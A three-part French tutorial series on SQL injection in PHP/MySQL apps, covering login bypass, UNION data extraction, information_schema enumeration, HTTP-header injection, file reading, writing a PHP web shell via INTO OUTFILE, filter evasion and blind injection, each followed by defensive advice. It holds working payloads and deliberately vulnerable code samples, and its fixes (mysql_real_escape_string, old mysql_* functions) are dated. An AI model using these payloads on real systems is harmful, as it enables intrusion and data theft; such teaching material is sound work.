PARTIE 1
Hello,
Aujourd’hui je vous parlerai d’un vecteur d’attaque très répondu sur internet, c’est SQL Injection, le sujet est très riche, j’ai donc décidé de le répartir en trois parties:
* Les injections SQL basiques
* SQL Injection avancée
* Blind SQL Injection
Dans ce billet, j’expliquerai le concept d’une Injection SQL basique, les différentes formes sous lesquelles elle peut se présenter dans une application WEB, illustrées par des exemples concrets, ainsi que des solutions pour sécuriser son code et prévoir ce genre d’attaques!
Comme vous le savez tous, SQL (Structured Query language), est un langage de bases de données qui constitue le cœur des applications WEB qui interagissent avec un SGBD, sachant que le concept d’une Injection SQL est commun pour tous les types de SGBD (avec quelques petites variations), dans toute la série de ces tutoriaux, je vais considérer qu’on travaille sur une base de données MySQL qui tourne sur un serveur LAMP!
Alors c’est parti =)
SQL Injection, c’est quoi ?
SQL Injection est parmi les vecteurs d’attaques les plus connus sur la toile!, son principe est de modifier une requête SQL grâce à un champ mal filtré dans le but d’exécuter une requête non prévue par l’application, l’exploitation d’une injection SQL peut avoir des conséquences désastreuses sur un site, elle peut permettre à un attaquant de :
* Bypasser une authentification
* Lire des données sensibles depuis les tables mySQL
* Injecter le nom et le schéma de la base de données
* Lire et écrire dans le système de fichier et potentiellement exécuter du code PHP
Comment repérer une injection SQL?
Une Injection SQL est souvent repérée par un attaquant grâce aux messages d’erreurs, le test est assez facile à faire, il suffit d’insérer un caractère spéciale (un signle quote « ‘ » le plus souvent), ou modifier le type d’une variable utilisée dans une requête SQL, si la variable est mal filtrée l’exécution de la requête est interrompue et il y a de fortes chances que cette dernière est faillible à une Injection
Quote:
| You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near |
Et si on passe aux exemples?
Assez de blabla, là on passe aux exemples, et on commence par l’un des plus classiques :
Bypasser une identification:
Stanislas: un développeur en herbe a conçu un formulaire d’identification, qui permet de poster le nom d’utilisateur et le mot de passe dans une page PHP, cette dernière vérifie si c’est les bons et affiche un message selon le résultat:
Code :
// page processlogin.php
$username = $_POST['username'];
$password = $_POST['password'];
$sql = mysql_query("SELECT * FROM users WHERE username = '$username' AND password = '$password'") or die(mysql_error());
if(mysql_num_rows($sql) == 1)
{
echo "Bienvenue $username dans votre espace membre!";
}
else
{
echo "Nom d'utilisateur et/ou mot de passe incorrecte";
}Maintenant imaginons qu’un attaquant se connecte avec comme login : admin’–, la requête devient :
Quote:
| SELECT * FROM users WHERE username = ‘admin’–‘ AND password = ‘$password’ |
//...
$sql = mysql_query("SELECT * FROM users WHERE ( username='$username' AND password = '$password' )");
Dans ce cas, pour bypasser l’identification il y a plusieurs possibilités, l’une est d’utiliser comme login: admin’)–
ou encore, comme login : admin’) or (‘a’='a, le principe est de toujours forcer la requête à retourner true :)
Injecter des données depuis une table
On dit souvent que l’union fait la force! c’est le cas pour les injections SQL car là on arrive aux choses sérieuses!
la commande UNION, elle existe depuis MySQL 4.0 et permet de combiner le résultat de plusieurs requêtes SELECT en une seule. Pour l’UNION, les champs des différents SELECT doivent avoir le même nombre et le même type!
Prenant l’exemple d’un petit forum, on considère une page profile.php qui affiche le profil d’un utilisateur donné à partir de son ID récupéré par $_GET
Quote:
| Code : mysql_connect("localhost","root",""); mysql_select_db("test"); $user_id = $_GET['id']; $sql = mysql_query("SELECT usernamen, nom, prenom, email FROM users WHERE user_id = $user_id") or die(mysql_error()); if(mysql_num_rows($sql) > 0) { $data = mysql_fetch_object($sql); echo " <fieldset> <legend>Profile de ".$data->username."</legend> <p>Nom d'utilisateur : ".$data->username."</p> <p>Nom et prénom : ".$data->nom." " .$data->prenom ."</p> <p>Adresse email : ".$data->email."</p> </fieldset>"; } |
La technique la plus courante est l’utilisation de la clause « ORDER BY », en incrémentant l’indice petit à petit jusqu’à ce que la page affiche une erreur
* profile.php?id=1 order by 1 [OK]
* profile.php?id=2 order by 2 [OK]
* profile.php?id=3 order by 3 [OK]
* profile.php?id=4 order by 4 [OK]
* proile.php?id=5 order by 5 [ERREUR]
A ce stade là, l’attaquant peut savoir que la requête contient 4 champs dans le SELECT, et peut donc utiliser la clause UNION pour injecter des données!
Quote:
| profile.php?id=-1 UNION SELECT 1,2,3,4– |
Exemple :
Quote:
| profile.php?id=-2 UNION SELECT version(), user(), password, null FROM users profile.php?id=-2 UNION SELECT host, user, password, database() FROM mysql.user |
Il est également possible d’injecter des données depuis les autres bases sur-lesquelles l’utilisateur mysql courant a des droits!
Comment se protéger?
Maintenant que vous avez conscience du danger qu’une injection SQL classique pourrait engendrer lorsqu’elle est exploitée voici les bonnes pratiques pour sécuriser son application :
Pour notre cas par exemple : la solution est de filtrer l’input $_GET['id'] on conservant que la partie entière de sa valeur, pour ce faire :
$user_id = intval($_GET['id']);
et voilà le tour est joué :) , s’il s’agissait d’un nombre à virgule flottante on utilisera floatval() et ainsi de suite..
Pour les chaines de caractères, pensez toujours à utiliser mysql_real_escape_string, cette fonction permet de filtrer tous les caractères spéciaux et vous facilitera la vie! Et si vous avez le malheur de ne pas les utiliser dans vos requêtes, alors c’est bien le moment ;)
Donc voilà les classiques pour les injections SQL! Dans le prochain billet, on passera à la vitesse supérieur! J’exposerai des méthodes d’exploitation plus avancées, des erreurs à ne pas commettre ainsi que des solutions pour prévenir à ce genre d’attaques!
PARTIE 2
Me revoilà, comme promis avec la suite de cette série de tutoriaux, vous vous rappelez bien de l’épisode précèdent ? On avait parlé des injections SQL classiques, on a vu comment un attaquant pourra by-passer une identification, également comment ce dernier peut repérer une injection grâce aux messages d’erreurs et injecter des données depuis la base de données!
Aujourd’hui on verra de plus prêt le danger réel que représente une injection SQL sur un site, l’objectif est que tout développeur web aie conscience du risque encouru que resprésente une Injection SQL, je donnerai des exemples de code vulnérables, ce que peut faire un attaquant pour les exploiter, et comme toujours des solutions pour mieux sécuriser son code ;)
Savez vous qu’avec une injection SQL un attaquant peut:
* Récupérer les noms des tables et des champs et injecter des données sensibles
* Injecter un paramètre dans une entête HTTP
* Lire/Écrire dans un fichier et potentiellement exécuter des commandes système sur la machine distante
MySQL et information_schema
Alors pour commencer, et comme j’avais dit dans l’article précèdent, on verra comment un attaquant pourra lister les noms des tables présentes dans votre base, ainsi que tous les champs!
En fait, information_schema est une base de données propre à mysql, elle existe depuis la version 5, et contient des informations sur tous les objets accessibles à l’utilisateur courant
Le problème c’est que dans mysql, information_schema est par default accessible à tous les utilisateurs! Du coup un attaquant peut lister les noms des tables et champs!
En reprenant l’exemple que j’avais donné dans le premier tutorial (Injecter des données depuis une table) , voici un bout de code qui permet de lister les noms des tables présentes sur une base!
profile.php?id=-1 UNION SELECT null,null,null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database();--
Cette requête injectera le nom de la première table présente sur la base de données courante, à noter que database() est une fonction spécifique à mysql qui retourne le nom de la base de données en cours! Ainsi l’attaquant peut lister toutes les tables on rajoutant la clause LIMIT
Quote:
| profile.php?id=-1 UNION SELECT null,null,null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database(); LIMIT 1,1– // ou encore profile.php?id=-1 UNION SELECT null,null,null,TABLE_NAME FROM information_schema.TABLES WHERE TABLE_SCHEMA = database(); LIMIT 2.1– |
Les noms des champs existe dans la table COLUMNS , un simple union peut permettre à un attaquant d’injecter ces derniers!
// afficher le premier champ
Quote:
| profile.php?id=-1 UNION SELECT null, null, null, COLUMN_NAME FROM COLUMNS WHERE TABLE_SCHEMA = database() AND TABLE_NAME=’users’ – // afficher le troisième champ profile.php?id=-1 UNION SELECT null, null, null, COLUMN_NAME FROM COLUMNS WHERE TABLE_SCHEMA = database() AND TABLE_NAME=’users’ LIMIT 2,1– |
L’une parmi les erreurs que certains programmeurs commettent lors du développement d’une application, est le fait de faire confiance aux variables d’environnement et aux entêtes HTTP! Il ne faut jamais se contenter de filtrer GET/POST/COOKIE car ce n’est pas suffisant
Voici un exemple pour démontrer le risque encouru:
On considère un script de rating, permettant aux utilisateurs de voter une seule fois pour chaque sondage! Pour mettre en place un tel système, le script récupère l’adresse IP de l’utilisateur en prenant en compte l’utilisation d’un proxy (X_FORWARDED_FOR) avec la fonction suivante:
function get_real_ip(){
return isset($_SERVER['HTTP_X_FORWARDED_FOR'])
? $_SERVER['HTTP_X_FORWARDED_FOR']
: $_SERVER['REMOTE_ADDR'];
}
Le traitement se passe au niveau d’une page vote.php qui récupère la note et vérifie si l’adresse ip ne figure pas dans les ips ayant déjà voté pour le même article, si tout va bien le vote est enregistré, sinon un message d’erreur est affiché: « Désolé [IP] mais vous avez déjà voté pour l’article [toto] »
if(!empty($_POST['id']) && !empty($_POST['note']))
{
$article_id = intval($_POST['id']);
$note = intval($_POST['note']);
$ip = get_real_ip();
$req = mysql_query("SELECT ip,titre FROM votes WHERE id = '$article_id' AND ip = '$ip'") or die(mysql_error());
if(mysql_num_row($req) > 0){
$data = mysql_fetch_array();
echo "Désolé ".$data['ip']." mais vous avez déjà voté pour l'article ".htmlspecialchars($data['titre'])
}
else
{
// traitement ...
echo "Merci pour votre vote";
}
}
Que se passe t’il si un attaquant envoie la requête HTTP suivante:
POST /vote.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
X_FORWARDED_FOR: ' union select user(),2--
Connection: close
id=1&amp;amp;note=10
Scénario
La fonction get_real_ip() retrouvera l’entête $_SERVER['HTTP_X_FORWARDED_FOR'] et retournera comme valeur : ‘ union select 1,2–
La requête SQL deviendra :
Quote:
| SELECT ip,titre FROM votes WHERE id = ‘1′ AND ip = ‘ ‘ union select user(),1111–’ |
Quote:
| Désolé root@localhost mais vous avez déjà voté pour l’article 1111 |
Vous l’avez bien compris? Il est possible de polluer l’entête HTTP X_FORWARDED_FOR avec du code SQL (‘ union..) et résulter une injection, pensez donc toujours à échapper toute variable récupérée à partir d’une entête HTTP ($_SERVER, $_COOKIE) bref tout ce qui peut être manipulé par l’utilisateur!
MYSQL et la permission FILE
Lire un fichier avec load_file()
Lors de la création d’un utilisateur dans MYSQL, l’administrateur assigne des droits (SELECT, UPDATE, DROP ..) à l’utilisateur en question sur une table, parmi ces droits il existe la permission FILE, elle permet de lire un fichier à partir d’une requête SELECT
exemple :
Quote:
| SELECT load_file(‘/home/user/data_articles.txt’) INTO articles ; |
Quote:
| profile.php?id=-1 UNION SELECT null, load_file(‘/home/victimuser/public_html/config.php’)– |
Si la permission FILE est assignée à l’utilisateur courant, un attaquant peut écrire des données dans le système de fichier, à condition que les droits d’écriture soient assignés au dossier/fichier en question
Dans mysql les fonctions OUTFILE et DUMPFILE permettent d’écrire dans un fichier, ainsi un attaquant peut s’en servir pour injecter du code PHP:
Exemples:
profile.php?id=-1 UNION SELECT null, '<?php system(\$_GET[cmd]) ?>' INTO OUTFILE '/home/victime.com/public_html/uploads/shell.php'--
profile.php?id=-1 UNION SELECT null, '<?php system(\$_GET[cmd]) ?>' INTO DUMPFILE '/home/victime.com/public_html/uploads/shell.php'--
L’exécution de cette requête provoquera la création d’un script shell.php dans le dossier nommé « upload » et permettra à l’attaquant d’exécuter des commandes système sur le serveur avec les droits du daemon apache..
Je vous laisse imaginer les conséquences que cela peut engendrer =)
SQL injection et urlencode()
J’ai remarqué sur certain script l’utilisation de la fonction urlencode() pour échapper les entrées utilisées dans une requête, en fête ce n’est pas suffisant et pas du tout fiable comme moyen de protection, voici un exemple :
Quote:
| Page : index.php?page=test |
Code:
$sql = mysql_query(« SELECT title,content FROM pages WHERE page_name = ‘ ».urlencode($_GET['page']). » ‘ »);Ce code peut bien échapper un signle quote d’où index.php?page=test’ génèrera la requête
SELECT title,content FROM pages WHERE page_name = ‘test%27′
Tout est normale jusque là! Le single quote ‘ est encodé en %27, mais que se passera t’il si on re-urlencode notre %27 en %2527 ? :)
Résultat: Ca va injecter un ‘ au nez de la requête, du coup l’appelle de la page :
index.php?page=test%2527 union select null, ‘Hello’– va produire la requête suivante :
Quote:
| SELECT title,content FROM pages WHERE page_name=’test’ union select null,’Hello’–’ |
MySQL et magic_quote_gpc
magic_quote_gpc est une directive dans le fichier de configuration php.ini, elle permet
d’ajouter automatiquement un backslash (\) à toute variables gpc ($_GET, $_POST, $_COOKIE). Si
cette directive est activée, il n’est pas possible d’injecter un signle quote dans une requête à une
variable globale (GPC)! Parcontre ça reste toujours contournable dans certains cas! il n’y a pas que $_GET/$_POST/$_COOKIE en PHP =)
Voici des exemples d’un contournement possible permettant d’injecter une chaine en l’encodant en hexadécimale :
Quote:
| Profile.php?id=-1, load_file(0×2f6574632f706173737764)– |
L’activation de magic_quote_gpc peut vous éviter pas mal de problèmes, mais ca reste tout de même pas un moyen idéal pour se protéger! Il ne faut pas se contenter de l’activer et se dire que vous êtes à l’abri :)
les Filtres anti-sql injection
Un filtre sql injection est tout simplement un script qui permet de filtrer les entrée saisis par l’utilisateurs et detecter une éventuelle tentative d’attaque! il est important de prévoir toutes les possibilités sinon le filtre risque d’être contourné!
Voici un exemple d’un filtre qui detecte le mot clé UNION dans une requette:
$apply_to = array('GET','POST','COOKIE');
$bad_words = array('union','order by','select','from','where');
foreach($apply_to as $g){
foreach($$g as $key => $val){
foreach($bad_words as $word){
if(strstr($val,$word)){
die('SQL Injection Attempt detected');
// Writing the log attaque into log file
}
}
}
}
Ce filtre parait bien, mais il est contournable car il ne vérifie pas la casse!
immaginons l’appelle de la page
Quote:
| profile.php?id=-1 UnIoN SeleCt nuLl, NUll, nulL, password FroM users– |
Comment se protéger contrer les injections SQL?
Voilà donc! J’ai essayé d’exposer différentes façons à travers lesquelles un attaquant malveillant peut vous atteindre en exploitant une injection SQL, le but c’est que chaque programmeur aie une vision claire de ce qu’un attaquant peut faire en passant par une injection!
Voici les bonnes pratiques à adopter pour éviter de se faire injecté sa base par un kiddie :
* Ne donnez jamais les droits aux utilisateurs sur la base de données information_schema, ça permetera de rendre l’exploitation d’une injection (si elle existe) plus difficile pour un attaquant!
* Si vous utilisez un CMS comme Joomla! Drupal, Magento.., pensez toujours à modifier les préfixes par default!
* Méfiez vous des entêtes HTTP, échappez toutes les entrées et validez-les avant de les utiliser dans une requête
* Ne jamais donner les droits FILE aux utilisateurs mysql
* Après l’installation d’un serveur dedié, pensez à modifier le mot de passe root de mysql, il est par default vide, sachant que le compte root possède tous les droits sur toutes les bases!
* N’utilisez jamais la fonction urlencode() pour échapper les quotes dans une requête, utilisez plutôt mysql_real_escape_string()
* Pensez toujours à lire les fichiers logs d’apache, repérez les URL suspect et vérifier si c’est susceptible d’être vulnerable :)
Voilà donc pour cet épisode, dans le prochain je parlerai des Blind injections SQL! J’espère que ce tutorial vous a été utile, n’hésitez pas à enrichir la discution :), toute question/ remarques sont les bienvenues :)
PARTIE 3:
Blind SQL injection
Après les deux premiers tutoriaux au sujet des attaques de type SQL Injection, le billet d’aujourd’hui sera dédié à un vecteur d’attaque un peu particulier, si vous ne connaissez pas les principes d’une injection sql, je vous invite vivement à lire les deux premiers articles avant de passer à la suite ;)
Je rappelle que la série de ces tutoriaux est dans le but de donner une idée sur les différents aspects et vecteurs d’attaque d’une injection SQL, j’espère que ça vous aidera à mieux vous protéger et percevoir les risques en codant, n’hésitez pas à me faire part de vos remarques ;)
Qu’est ce que Blind SQL Injection?
Blind SQL Injection est un vecteur d’attaque dont l’approche est très différente de celle des injections classiques, elle permet comme ses ascendants d’injecter des données à partir d’une base d’une application vulnérable. Repérer une faille de ce type n’est pas toujours facile et demande une série de tests.
Les Injections blind se caractérisent par l’absence d’un message d’erreur qui permettra de repérer la faille, ce qui impose une serie de tests « à l’aveuglette » qui permettront d’identifier la présence d’une faille ou pas !
Prenant un exemple :
On considère une application web avec une page profile.php avec le code ci-dessous :
//…
$user_id = stri_replace('union','',$_GET['user_id']);
$query = "SELECT * FROM profile WHERE user_id = $user_id" ;
if(!@mysql_query($query)){
echo "Ce membre n'existe pas";
}
else{
//Affichage des données du profil
}
Ce code semble sécurisé contre les injections classiques puisqu’il remplace le mot clé « union » qui peut permettre à un attaquant de sélectionner une nouvelle ligne et détourner la requête, toute-fois un attaquant malveillant peut l’exploiter!
Analysant cette requête :
Quote:
| profile.php?user_id=1 |
Que se passera t’il avec :
Quote:
| profile.php?user_id=1 AND 1=2 |
Exemple permettant de vérifier que la version de mysql est 5:
Quote:
| profile.php ?user_id=1 AND version() MATCH 5 |
Quote:
| profile.php?user_id=1 and length(password)=32 |
Exemple :
Quote:
| profile.php?user_id=1 AND substr(password,0,1)= 0×66 |
Pour résumer: Une Blind SQL Injection est toujours exploitée grâce à un bruteforce à l’aveuglette on se servant d’une page vulnérable qui affiche une donnés X, selon l’affichage ou non de cette dernière on peut deviner les données se cachant derrière.
Comment sécuriser son application ?
Les bonnes pratiques à adopter pour éviter de se faire pirater son site sont généralement les mêmes que j’ai cité dans les deux premier tutoriaux : de manière générale : Ne jamais se contenter de cacher les messages d’erreur, pensez toujours à filtrer les entrées, rajouter toujours les « signles quotes » aux variables que vous usez dans vos requêtes SQL et filtrer toujours avec la fonction mysql_real_escape_string
Articles
